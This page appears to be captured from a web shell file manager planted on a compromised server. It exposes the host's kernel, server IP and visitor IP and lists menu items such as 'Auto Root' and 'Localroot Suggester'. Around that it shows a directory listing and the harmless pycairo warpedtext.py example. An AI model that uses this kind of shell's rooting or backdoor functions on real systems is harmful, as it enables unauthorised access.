Linux unitednationsplay.com 3.10.0-1160.45.1.el7.x86_64 #1 SMP Wed Oct 13 17:20:51 UTC 2021 x86_64
nginx/1.20.1
Server IP : 188.130.139.92 & Your IP : 3.140.254.100
Domains :
Cant Read [ /etc/named.conf ]
User : web
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
usr /
share /
doc /
pycairo-1.8.10 /
examples /
Delete
Unzip
Name
Size
Permission
Date
Action
cairo_snippets
[ DIR ]
drwxr-xr-x
2022-01-26 17:33
gtk
[ DIR ]
drwxr-xr-x
2022-01-26 17:33
Makefile
11.61
KB
-rw-r--r--
2014-06-10 06:21
Makefile.am
1.34
KB
-rw-r--r--
2007-01-13 11:20
Makefile.in
10.83
KB
-rw-r--r--
2010-05-20 11:43
gradient.py
769
B
-rwxr-xr-x
2009-08-06 12:47
hering.py
1.04
KB
-rwxr-xr-x
2009-08-06 12:47
spiral.py
782
B
-rwxr-xr-x
2009-08-06 12:47
warpedtext.py
1.98
KB
-rwxr-xr-x
2009-08-06 12:47
Save
Rename
#!/usr/bin/env python import cairo import math def warpPath(ctx, function): first = True for type, points in ctx.copy_path(): if type == cairo.PATH_MOVE_TO: if first: ctx.new_path() first = False x, y = function(*points) ctx.move_to(x, y) elif type == cairo.PATH_LINE_TO: x, y = function(*points) ctx.line_to(x, y) elif type == cairo.PATH_CURVE_TO: x1, y1, x2, y2, x3, y3 = points x1, y1 = function(x1, y1) x2, y2 = function(x2, y2) x3, y3 = function(x3, y3) ctx.curve_to(x1, y1, x2, y2, x3, y3) elif type == cairo.PATH_CLOSE_PATH: ctx.close_path() def spiral(x, y): theta0 = -math.pi * 3 / 4 theta = x / Width * math.pi * 2 + theta0 radius = y + 200 - x/7 xnew = radius*math.cos(theta) ynew = radius*math.sin(-theta) return xnew + Width/2, ynew + Height/2 def curl(x, y): xn = x - Textwidth/2 #yn = y - Textheight/2 xnew = xn ynew = y + xn ** 3 / ((Textwidth/2)**3) * 70 return xnew + Width/2, ynew + Height*2/5 Width, Height = 512, 512 surface = cairo.ImageSurface(cairo.FORMAT_ARGB32, Width, Height) ctx = cairo.Context(surface) solidpattern = ctx.get_source() # background pat = cairo.LinearGradient (0.0, 0.0, 0, Height) pat.add_color_stop_rgba (1, 0, 0, 0, 1) pat.add_color_stop_rgba (0, 1, 1, 1, 1) ctx.rectangle (0,0,Width,Height) ctx.set_source (pat) ctx.fill () # foreground ctx.set_source (solidpattern) ctx.set_source_rgb (1,1,1) ctx.select_font_face("Sans") ctx.set_font_size(80) # spiral text ctx.new_path() ctx.move_to(0, 0) ctx.text_path("pycairo - " + "spam " * 5) warpPath(ctx, spiral) ctx.fill() # curly text ctx.new_path() ctx.move_to(0, 0) ctx.set_source_rgb(0.3, 0.3, 0.3) text = "I am curly :)" ctx.text_path(text) Textwidth, Textheight = ctx.text_extents(text)[2:4] warpPath(ctx, curl) ctx.fill() surface.write_to_png("warpedtext.png")